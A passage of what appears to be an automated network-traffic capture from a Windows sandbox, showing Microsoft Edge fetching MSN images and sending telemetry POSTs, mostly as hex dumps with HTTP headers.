2024-11-26 07:03:53 UTC	1275	IN	Data Raw: ca b9 d5 e8 5a 7c d1 4d ed 0a 3b a6 09 1a eb a0 e4 93 89 78 90 60 f0 c5 88 0e 90 a5 56 6a 51 92 95 42 e6 90 73 d2 f9 4c cf ad d5 37 ba 41 92 48 cb 90 27 8f 44 e9 6b 10 72 89 95 a6 d5 0e 7e fc 37 3d 6d 1d 17 01 c6 09 37 ce 07 ee b3 9a 7a 3b 62 32 54 4b 9a ef 4d 86 1d ba 6c 75 13 9c 6b af 92 e6 31 c1 d2 0c 93 63 33 6b c4 dc e4 bc f9 87 4c c3 ae 26 ec ee b6 49 6c 88 06 77 b5 b7 13 75 83 50 82 44 18 eb 3e 07 db 79 58 44 5f e4 d3 0c 59 a2 2f 2e 36 c7 b2 d4 a1 5f 11 20 b0 b1 d7 16 f2 3e c2 57 4f b4 69 19 4c 67 98 10 23 28 0b d3 fa 8f a8 a7 7b 66 29 b4 c4 c4 c6 5d 9c de 76 1b 3c 9f a6 fa 6a b6 37 a6 ab c5 51 31 31 97 9e 8f 56 ed ba 8d 2a e0 87 b1 ae 74 49 91 7f 11 07 c5 5d 63 59 04 e4 64 4c 9e 47 5c 93 a3 77 73 6f 3a 2a 98 8e df db 46 13 76 7b 9b 5b 7b 99 57 44 Data Ascii: Z\|M;x`VjQBsL7AH'Dkr~7=m7z;b2TKMluk1c3kL&IlwuPD>yXD_Y/.6_ >WOiLg#({f)]v<j7Q11VtI]cYdLG\wso:Fv{[{WD
2024-11-26 07:03:53 UTC	16384	IN	Data Raw: 78 cb b7 35 dd 82 1c 23 29 c2 73 e4 42 f4 1f a3 01 9f f3 00 e8 9c 25 b7 81 d0 c6 57 57 b7 46 17 17 7d b9 cb c9 e7 c6 4f 6a 7e 9f 6b fa bc de 79 b5 6a 16 d2 70 73 41 76 36 43 80 c9 96 90 40 99 8b 66 ba 6f d9 a6 06 36 4c 9e cc 16 3b 78 ea 1b 06 c7 42 bd 5b 6b e9 e2 e3 a2 ba e7 37 8f 7b c4 3a f7 28 a2 9c a2 ea 58 2a 16 e2 c3 48 88 06 77 b5 31 26 f7 b8 5d 1a 75 b1 61 a2 f7 34 c0 c8 b6 1b 8b 16 2c a4 92 78 18 85 d9 cb 36 33 7b 65 ab 96 c7 95 f9 39 58 1a c6 b8 96 50 24 5f 0e 07 3a 47 59 85 dd ec e8 b6 71 35 87 98 2e 6e 9d 4f a1 6f e6 e5 c5 b9 da 9f 25 fe 2e 19 71 7d b1 06 e3 73 77 48 c3 70 2c 2f 7e e5 ba b5 a8 3a ab 9b 4d a4 01 68 2e b9 e7 70 7e 2b a6 c7 4c 4d b3 41 4c c2 6a 8c ec 89 6c 83 95 da 65 b9 09 47 ea 19 d8 ba 99 a4 d7 17 38 1c 52 0c 5a 22 e3 da 92 ed Data Ascii: x5#)sB%WWF}Oj~kyjpsAv6C@fo6L;xB[k7{:(X*Hw1&]ua4,x63{e9XP$_:GYq5.nOo%.q}swHp,/~:Mh.p~+LMALjleG8RZ"
2024-11-26 07:03:53 UTC	16384	IN	Data Raw: 50 56 79 c7 fc 76 3f 76 10 e9 04 5b ee 2b b3 ba e6 de 9a e2 78 c4 39 3b c6 35 53 31 cd c8 1b 38 12 5a 5e ec 24 8c 25 b8 26 38 19 32 17 66 a8 a7 8d 80 54 37 9b b4 36 d8 44 df 3c d7 36 0e dd 5d 73 69 98 ce 1d 18 9c b1 7b 4e 4f 1d 50 b8 61 73 88 68 78 c4 2f 98 98 f8 af 45 b4 ff 00 08 66 4f b3 a6 5a dc a3 96 57 e0 bc fc a2 6c ec ae 6d 6b 5b c1 db 69 73 d3 9d f5 84 bb 0b c8 a3 9f cc ef 8a e7 53 ac 69 1c 00 18 18 9c 72 32 0e 5c c4 67 2a 36 e2 f1 3d ac e9 dc 8a 66 5a 55 3a 76 7e e2 69 99 85 05 a5 ea 07 ce 82 42 60 02 4d 00 18 42 00 01 09 80 0d 08 00 04 d2 33 01 09 00 66 92 01 03 42 46 0c 21 23 20 10 91 98 34 92 00 1a 48 00 1a 48 06 4d 2c a4 66 46 92 01 91 a1 00 03 51 39 e1 b6 cc a4 53 36 36 b4 51 8b b0 aa 18 55 cd 4b c9 ee d6 fd 16 5b 93 68 ed 67 33 9e 6d 36 69 Data Ascii: PVyv?v[+x9;5S18Z^$%&82fT76D<6]si{NOPashx/EfOZWlmk[isSir2\g*6=fZU:v~iB`MB3fBF!# 4HHM,fFQ9S66QUK[hg3m6i
2024-11-26 07:03:53 UTC	7952	IN	Data Raw: 99 de f5 63 6b 11 56 b6 1c 50 da 8e 1c be eb 67 a6 4b 48 9c a3 b1 e7 ce f4 44 cc 5f 4f d9 cb 86 73 7a 34 6c cc d3 4c db 5b 4f 9b 86 03 9a 29 b4 8c 98 5a 6f ae 8b 4e 04 d4 63 65 db d1 7d 78 9d 38 2e dc 50 f3 27 7b f1 99 bb 1a 28 98 88 7a 94 ed 7e 51 0f 1f 56 db 70 ff 00 f2 b3 d8 ba 95 ff 00 1f 5e 9e d1 da 4b 63 10 70 92 6f e5 aa f5 ef 7a 7d 1e 5d 3f 57 44 d3 69 89 bd bd b8 bc 8b 5a b8 ed 87 a5 57 d2 d5 8f 14 4c 5a eb cf 2f c5 46 1b 3f cd 4e 71 5a 05 ee 32 ba ee 56 d8 aa 06 d2 30 e7 61 2c aa ec 22 cd 05 da 98 cb aa ed a6 a8 89 9c f8 3c 8a 37 a6 6a d3 2f 97 d9 cd bb 4d 53 46 9c 7f 67 a5 b9 4d 38 27 3c f3 8b 65 9c c4 67 6e aa db 67 e3 a8 ed 8f 6b aa 76 80 b4 16 8c 24 0b 1f f6 95 5f f2 9f 92 ab b1 55 63 58 da 6e 0e 61 76 f0 33 20 c6 84 2f 66 2b 98 65 44 62 8e Data Ascii: ckVPgKHD_Osz4lL[O)ZoNce}x8.P'{(z~QVp^Kcpoz}]?WDiZWLZ/F?NqZ2V0a,"<7j/MSFgM8'<egngkv$_UcXnav3 /f+eDb
2024-11-26 07:03:53 UTC	16384	IN	Data Raw: 33 39 b8 58 6b 99 8a 75 38 7d be a6 cb a9 b4 d4 0d a0 d0 c8 00 cd c3 89 cb 47 5e e0 9e 37 55 74 ca 22 e5 33 2e 40 d9 6b 97 0e d1 ae 6f 00 73 3d c2 55 16 ed 55 41 8c 6e 23 84 9f 7a bb a5 36 93 bb a4 ea 55 40 24 b1 d8 8d a3 80 d2 14 4c da ea c0 69 27 94 ba c3 ce 02 24 8c ee a6 dd 96 b6 6e 63 b8 1b 1f 8e 41 5c a7 55 c4 61 c5 79 bc 62 93 c3 5c ba a1 49 b2 b8 70 6e 9e c8 e6 dd c0 5f 2b 80 07 43 af 35 97 b0 01 8d ef c4 ec 80 cc 47 8d d1 06 8b 05 a6 8b 61 0e 64 1b b8 3b 29 bc 09 12 4b 6c 0e 97 55 08 0e 69 2d 37 91 ca c7 92 19 dc 58 dd ea 1b 39 22 ce 61 13 25 d3 00 18 81 ba eb c4 c0 c8 ae 76 cc e7 d3 99 0e 01 ce ee 83 20 83 f1 e6 9c c5 c1 40 5c da 36 0d a5 d4 de e6 35 93 4a 0b 9a c2 71 83 f5 b4 44 75 32 6c 17 42 96 d8 29 d5 63 e6 03 9b 84 c4 e6 04 72 d2 ca 62 95 Data Ascii: 39Xku8}G^7Ut"3.@kos=UUAn#z6U@$Li'$ncA\Uayb\Ipn_+C5Gad;)KlUi-7X9"a%v @\65JqDu2lB)crb
2024-11-26 07:03:53 UTC	16384	IN	Data Raw: 99 5a 41 18 66 53 40 00 a5 08 06 45 74 d0 0c 89 08 06 09 34 00 19 4d 00 02 42 08 c0 42 00 04 84 00 64 84 00 02 10 0c 89 34 ac 15 72 24 5d 2b 1a ae 92 4d 2b 05 5c 89 09 03 19 04 5d 05 99 9e 41 24 8e f2 71 25 68 08 41 5e 4c 5a 02 68 06 02 69 17 aa a0 e2 39 1a d0 05 08 99 e6 a8 5c 44 f4 48 13 01 4c a6 65 ac 2e 21 b0 8e f4 a5 12 a8 5c 43 48 84 e5 9c c9 aa cd 26 13 96 61 49 47 54 81 09 4d 93 2a 83 84 81 c4 6b 92 cd b5 f0 ba ce aa 62 44 b5 a6 a9 8e 25 16 eb 0e 95 2a 84 98 97 47 af 82 cd 1f e8 90 46 51 3e 2b 83 72 88 b1 ee f6 bd 2d aa e6 e5 b3 9f 07 6e 9b 6a 3e e4 34 5b 22 ef fb 6e 7d aa 16 64 08 02 da 48 69 f0 8f 89 0b cb aa 68 8d 2f af 4f ba aa f6 ca ef 5a 8c 73 ad b4 d2 ff 00 64 53 ed c1 d6 8d a1 b1 21 90 23 ea f3 b1 52 53 63 dd 20 b4 81 c9 cd 3e be 6b 8f f0 Data Ascii: ZAfS@Et4MBBd4r$]+M+\]A$q%hA^LZhi9\DHLe.!\CH&aIGTMkbD%GFQ>+r-nj>4["n}dHih/OZsdS!#RSc >k
2024-11-26 07:03:53 UTC	7952	IN	Data Raw: f3 0a 91 71 e3 e5 e8 5c 78 b9 3b 62 98 e9 e2 ed b7 37 14 d5 3d 7c 3f 45 c8 e6 3c 15 27 17 c5 81 3e 0b 92 ee c8 8a 6f c1 d9 67 0c d5 5d b8 f8 2d c2 e7 76 ae 1a 11 e1 ef 5c b7 77 c5 14 f5 87 65 9e 77 79 57 67 93 a3 0b 9d 8a ae 90 3d 7a ae 0b bb f0 ed f1 7a 13 1e d9 bc e8 ab 73 82 fe 18 d7 e2 b9 c5 d5 9b f3 37 be 3d e1 71 62 bf 0f 93 bb 0e dc fb b3 e9 7f b3 bb 05 b8 fc de 7e 2d c8 f7 a9 f5 b7 dd d3 dd 1c 7c 4f bd 73 05 47 bb 27 b3 a0 3e 92 b8 33 9e 9e 50 ef c1 4c 7b b5 76 cc 3d 1f c6 3a f9 cf dd e7 63 aa 7d fa 7b 22 7f 57 62 dc 5d fe 6f 4a e4 9c 64 66 e1 e1 ef 5e 66 7c bc bf 47 a7 f8 c7 08 f1 fb 3d 4c b9 f9 fe af 2f f2 98 d6 7c 3e ee 83 9c 3e a1 e3 3e d5 cb ec 89 f9 8a e1 a6 99 e9 3e 4f 4b bc 88 f7 61 e8 55 54 47 18 f3 79 5d dc cf bc e8 17 73 5c c3 b3 8c cf Data Ascii: q\x;b7=\|?E<'>og]-v\wewyWg=zzs7=qb~-\|OsG'>3PL{v=:c}{"Wb]oJdf^f\|G=L/\|>>>>OKaUTGy]s\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.8	49821	23.200.3.19	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:52 UTC	634	OUT	GET /tenant/amp/entityid/BB1msKSj.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 07:03:53 UTC	521	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msKSj Last-Modified: Fri, 15 Nov 2024 21:51:17 GMT X-Source-Length: 101189 X-Datacenter: westus X-ActivityId: 22220a85-5dca-4198-8d05-5b36a925dcc8 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 101189 Cache-Control: public, max-age=312485 Expires: Fri, 29 Nov 2024 21:51:57 GMT Date: Tue, 26 Nov 2024 07:03:52 GMT Connection: close
2024-11-26 07:03:53 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-26 07:03:53 UTC	16384	IN	Data Raw: 04 21 64 c2 12 2c 9a 42 14 18 08 8e 3f 59 f8 21 4c d8 21 42 8b 5c 9a 17 5a c9 02 fd ee 1f 2f 24 10 98 44 2a 8b 4f d8 f9 24 0b 55 09 b1 23 cb 74 28 05 2b 52 0e 27 30 c3 81 61 89 87 72 98 3b 58 c1 33 c2 12 88 83 63 3d 52 32 e1 17 4f 98 ee b9 5c 24 6b 73 8b a2 48 e5 10 20 0d 87 0b 47 89 dd 00 f1 56 b9 01 47 86 c3 cb f1 ea 88 2e b9 95 68 21 23 16 42 11 aa 35 42 28 13 c6 27 6d 89 f1 83 0a e1 5c 14 29 6e 71 71 26 c2 7a 0f a5 ad 08 61 12 b4 1a cc 52 db 99 bc 83 00 0f 2e 26 c8 29 24 12 01 81 72 6f 03 a9 4c 84 45 e6 8a 2d 48 25 db 09 24 da e6 24 f4 e0 10 10 ca e4 cb 09 91 3e 3b 75 40 90 02 37 36 36 24 8b 5e 22 fc 57 2e dd 09 07 db fb 2e 44 55 04 d0 14 7d 49 f1 56 09 12 06 c7 7d 94 9c 65 c0 3c b6 a9 a4 dd b1 66 8d c9 30 4c 79 47 9a 12 8c 2c 8a a3 33 13 3c 3c fc 95 Data Ascii: !d,B?Y!L!B\Z/$D*O$U#t(+R'0ar;X3c=R2O\$ksH GVG.h!#B5B('m\)nqq&zaR.&)$roLE-H%$$>;u@766$^"W..DU}IV}e<f0LyG,3<<
2024-11-26 07:03:53 UTC	1766	IN	Data Raw: f3 b9 c2 e3 8d 99 07 6b 93 75 8f a4 0f f6 73 ea 76 72 6b 73 6b 61 b5 65 db 45 64 52 66 78 6c 17 ad 6f b5 03 72 1c 79 71 9e 6d a0 89 3d 81 0e 81 7e 84 9e 8a e7 7b 3d d9 d8 f2 ad c0 f7 81 10 4f e5 30 d7 79 80 4c 1f 03 2a 33 9a 41 82 08 23 81 10 67 a8 5e cd d9 f4 e3 2b 9a 58 d0 d2 3f c4 60 12 09 bd 2e 0d b8 89 ef 3b c2 8f 93 48 d7 bb 0b 35 2f e6 c8 03 ab 69 a0 db f8 9a b9 9c 20 f1 20 ae 9e bf 6f ca 5e 4e 15 47 55 bd ab f6 6b f0 f3 b1 e1 cc 89 2f 34 c3 7c c0 33 4f 56 c9 e8 b1 ce 37 34 07 11 62 26 45 da 7c 8f 6f 38 5d 33 bc ed ee 94 78 5c 9b 10 85 6b a9 2d 72 35 c9 80 2e 44 b9 04 15 c8 d0 20 9c b9 5a b8 41 81 52 38 54 82 52 e4 48 54 85 2a 44 b9 00 2a ab f4 cb 5d 21 a4 11 04 8a 80 bf e5 e3 e4 8b 82 8f 91 e1 94 b4 b4 bc b8 d9 80 5d d7 f2 58 7d 97 25 5f 59 b5 2f Data Ascii: kusvrkskaeEdRfxloryqm=~{=O0yL3A#g^+X?`.;H5/i o^NGUk/4\|3OV74b&E\|o8]3x\k-r5.D ZAR8TRHTD*]!]X}%_Y/
2024-11-26 07:03:53 UTC	16384	IN	Data Raw: 94 92 bb a0 71 29 64 aa 25 2c 95 44 a2 52 09 46 4a 49 54 02 50 15 68 13 20 94 08 d1 e3 0d 2f 0d 79 80 7b 10 3e 64 cd 91 b8 8a 8c 85 7a 57 fb 3f 18 63 8d 4f 04 77 2d 2d 98 90 2d dd 62 37 11 c8 25 85 ae b9 05 b5 0a 81 1c 38 78 46 e9 4e f2 a3 65 43 5c 98 e6 d0 48 75 88 dc 29 38 f4 ce c8 dc 8f 90 c6 e3 61 7b 89 dc b4 02 6c 38 cc 40 3b 4f 15 57 b4 80 ac 78 1f 95 c0 31 a4 cc c5 8c 58 49 5e a7 4b ec c1 27 d4 3c df a6 f0 5b bb 3f 33 4d a0 de d6 1c 37 0b 37 41 af 71 2d 6e 3c 38 d9 8a c0 3d c4 4b c9 68 98 2e 73 65 f7 2e 75 2d 23 82 d1 66 a9 ae d5 ea 18 5e 5f 1e eb 9a 63 94 34 90 d7 53 62 d8 75 af 32 2e b9 3b 7d 96 fa 78 67 75 a7 9b 4e 32 66 6e 53 93 3e 3c 83 94 37 11 80 f2 0c c9 64 89 8f eb 30 38 84 dc fa b7 60 7e 26 7a 39 32 35 fe f6 4e 0c 6d cb 8b 84 76 13 c0 1e Data Ascii: q)d%,DRFJITPh /y{>dzW?cOw---b7%8xFNeC\Hu)8a{l8@;OWx1XI^K'<[?3M77Aq-n<8=Kh.se.u-#f^_c4Sbu2.;}xguN2fnS><7d08`~&z925Nmv
2024-11-26 07:03:53 UTC	16384	IN	Data Raw: 7a 88 f1 d9 6d 33 09 38 2a 78 2c c6 1b 00 b8 dc f7 75 3b 92 78 0e 3b a1 36 a1 e9 f0 b3 44 c7 1c cf 63 4b da 4c 93 bb 4f 00 d1 2e 24 cf 05 13 06 0c 39 28 82 44 19 83 b3 e0 f1 69 98 81 c1 64 eb 33 bb 23 e1 ae 71 68 f7 41 ec 38 ba 38 f4 d8 6c a0 e2 c8 f6 3a 1a 4d ed bf c9 2d 69 23 68 61 c6 e2 fc 8e 88 0e 86 b1 a2 03 c9 36 f0 e3 68 41 e8 b7 d5 61 61 0d 22 48 02 26 5b 7d b6 83 e6 ad fa 6c f0 c6 be 96 45 e4 9d e4 ef 69 b8 16 e8 b4 74 fa 13 8c 8c 99 8d 34 98 6c 11 7f ea b0 f7 7c f7 4d 44 1c 4c 27 d5 2e 7b 5a 60 98 7e ee 32 4c 4c 98 1b 79 a7 e9 b5 25 f5 e0 e6 87 fb a2 77 03 60 4f 08 81 e0 a3 30 3f 50 ec 8c 66 40 cd cf 35 aa 1e 13 1d 63 75 d8 c1 39 bd 36 38 12 d9 e7 82 2e dd c8 9b db aa 7a 1a a7 2f a1 9f 1b 4b 83 5e 5a 0b f8 b4 3a 48 b9 b7 91 db 75 a3 48 cd 9b 1b Data Ascii: zm38*x,u;x;6DcKLO.$9(Did3#qhA88l:M-i#ha6hAaa"H&[}lEit4l\|MDL'.{Z`~2LLy%w`O0?Pf@5cu968.z/K^Z:HuH
2024-11-26 07:03:53 UTC	7952	IN	Data Raw: 00 0f 9f 1d 75 41 cf f4 43 5b 4c 10 62 72 47 f1 9e c3 8e f1 e6 a2 69 06 4d 6e 53 97 27 b8 d1 16 90 db dc 32 4e cd 1c 6e 13 9b 89 ec e6 cd 0c da 8c 38 cc e4 0c 6e cd d8 c0 3c 4b 94 c8 cd 98 5c 33 13 41 24 62 60 2e 0d 6f 56 c7 3b 8f 19 20 2b 69 9f 08 ba cd 5c ff 00 86 5a 1a d1 1c a2 d2 36 03 87 8a c2 d3 35 fa cc f1 73 4c 3b 73 6b de 4d c9 2a 53 f0 fe f3 2d 0c 2e 0d 61 73 6f ca 49 07 7a 44 81 f3 2b 47 52 d6 68 1a 34 98 84 66 70 9c cf d9 cc 69 10 31 8e c5 df ca 0d 85 92 69 3a e4 23 59 94 bf 2c 36 32 06 99 bf bb 2d de 26 2d 3c 7a 2c 0c c7 76 8e f2 6d df ad ca 97 93 fc 38 2e 6b ed 4c 36 39 48 1b 0e c3 be ea 2b 31 89 00 6e 78 de dd e4 46 d3 b0 48 49 89 58 47 a5 4b aa aa 5d 34 83 b5 b6 b7 85 cf 82 f4 58 f2 5f 90 96 d4 d2 0d 8c 1b f6 ee 47 12 b1 08 c7 8a 8b 8b b8 Data Ascii: uAC[LbrGiMnS'2Nn8n<K\3A$b`.oV; +i\Z65sL;skM*S-.asoIzD+GRh4fpi1i:#Y,62-&-<z,vm8.kL69H+1nxFHIXGK]4X_G
2024-11-26 07:03:53 UTC	16384	IN	Data Raw: 3e 5f 5d c0 06 9c 78 3d 57 32 a1 30 05 64 0a 84 8e 67 54 83 4b a7 d4 33 23 9b 9b 55 9f 33 18 da de c3 8f 1e 3c 72 0c 0a 9c 4d 32 08 b3 4b a0 f7 5e a3 13 3f 6a c6 b7 4f a7 38 cb de 5d 92 72 34 52 49 21 c5 86 ee 73 c3 49 18 c9 00 36 50 bb 46 dd 50 c8 1f 8d c7 1c 1f 45 8e cd 96 9c 4e 80 d2 e7 b5 8e 35 10 00 20 98 b9 28 2f f6 bc f0 d0 e8 72 e5 71 ab 54 fa a0 e4 7e 36 62 75 46 f0 72 35 a4 98 df c7 82 76 26 e0 d3 e9 f3 06 33 51 8d ac 00 bc b8 e1 16 79 86 d4 e9 0d 6c fe 5f 78 5a 41 5a ef d3 e4 66 9d fa 6f 4b 07 a6 f0 da bf 48 b6 a2 d3 ca 5d 49 00 c6 d0 78 71 49 7e 84 e6 68 63 b3 ea 2d 31 e9 b3 18 37 b1 a9 c0 4b ac 20 17 5e e4 ca 91 78 b2 fd 4d 3b 03 46 41 a9 6d 4f 81 4e 4d 3b de e3 1b 52 c2 e7 13 7e de 29 f8 3d a5 a0 c3 53 5b fb be 20 b8 50 1c 41 e0 25 a2 91 e4 Data Ascii: >_]x=W20dgTK3#U3<rM2K^?jO8]r4RI!sI6PFPEN5 (/rqT~6buFr5v&3Qyl_xZAZfoKH]IxqI~hc-17K ^xM;FAmONM;R~)=S[ PA%
2024-11-26 07:03:53 UTC	10072	IN	Data Raw: 43 1b ff 00 17 16 fc ba 25 51 8e 39 86 3f 93 4f d6 9f 82 3f 47 23 43 89 a1 cc 64 12 e7 1f 4d 87 bf f9 4a 56 60 fc 0f 82 da 5c 5b 6a 5c 6e 44 58 de f6 da f2 50 69 30 de 11 11 b0 82 3e 83 fc 94 47 63 69 3f e2 c4 4d ac 0c 47 01 09 18 da 33 bc fa a4 ee 7d d9 2e e8 04 fe 0b 45 9a 62 d3 b3 1e dd e5 c2 4e dc 69 36 83 13 d5 23 43 f4 1a 5c 2e e1 62 49 74 11 e5 01 0f a1 51 22 66 3b 12 05 fa 11 f6 2a 43 81 c4 ed 98 c2 77 87 54 2f c6 48 ff 00 34 d2 dc 8c 88 2c 79 37 02 96 c5 b7 07 7d c2 65 a8 9e 99 c5 12 ee 33 bf bc 7c e7 b7 9a 8b 5b 43 c3 4d 47 87 2c b6 fc 2e e1 1e 1c 56 cb bd 0c 8d 15 31 f2 6f 01 83 7f 31 c3 c5 44 71 80 d7 12 e0 01 82 c7 06 da 66 fd ee 90 d2 99 95 e4 c5 51 16 3f 08 fc 66 14 93 91 e1 c7 dd e1 b5 f7 d8 fd be 48 46 37 e5 30 20 8f 36 93 6e e7 75 61 94 Data Ascii: C%Q9?O?G#CdMJV`\[j\nDXPi0>Gci?MG3}.EbNi6#C\.bItQ"f;*CwT/H4,y7}e3\|[CMG,.V1o1DqfQ?fHF70 6nua

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.8	49824	20.189.173.17	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:54 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732604632596&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11580 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2A1C8E46DA6B6D3B073F9B05DB6A6C89; _EDGE_S=F=1&SID=266A8DFD2704619D19DF98BE2605600F; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-26 07:03:54 UTC	11580	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 36 54 30 37 3a 30 33 3a 35 32 2e 35 38 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 39 64 38 38 61 30 31 63 2d 63 33 37 39 2d 34 33 31 63 2d 39 38 37 33 2d 34 65 61 30 63 37 31 35 64 62 34 30 22 2c 22 65 70 6f 63 68 22 3a 22 34 31 38 31 30 38 38 38 34 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 22 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-26T07:03:52.589Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"9d88a01c-c379-431c-9873-4ea0c715db40","epoch":"418108884"},"app":{"locale"
2024-11-26 07:03:55 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=a0a7181223ba4f66ab606675342236c3&HASH=a0a7&LV=202411&V=4&LU=1732604635138; Domain=.microsoft.com; Expires=Wed, 26 Nov 2025 07:03:55 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=9bf2258e6a5e4ff9b79476090aa5ec89; Domain=.microsoft.com; Expires=Tue, 26 Nov 2024 07:33:55 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2542 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 26 Nov 2024 07:03:55 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.8	49825	20.189.173.17	443	7708	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:03:55 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732604632600&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5049 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2A1C8E46DA6B6D3B073F9B05DB6A6C89; _EDGE_S=F=1&SID=266A8DFD2704619D19DF98BE2605600F; _EDGE_V=1; _C_ETH=1; msnup=
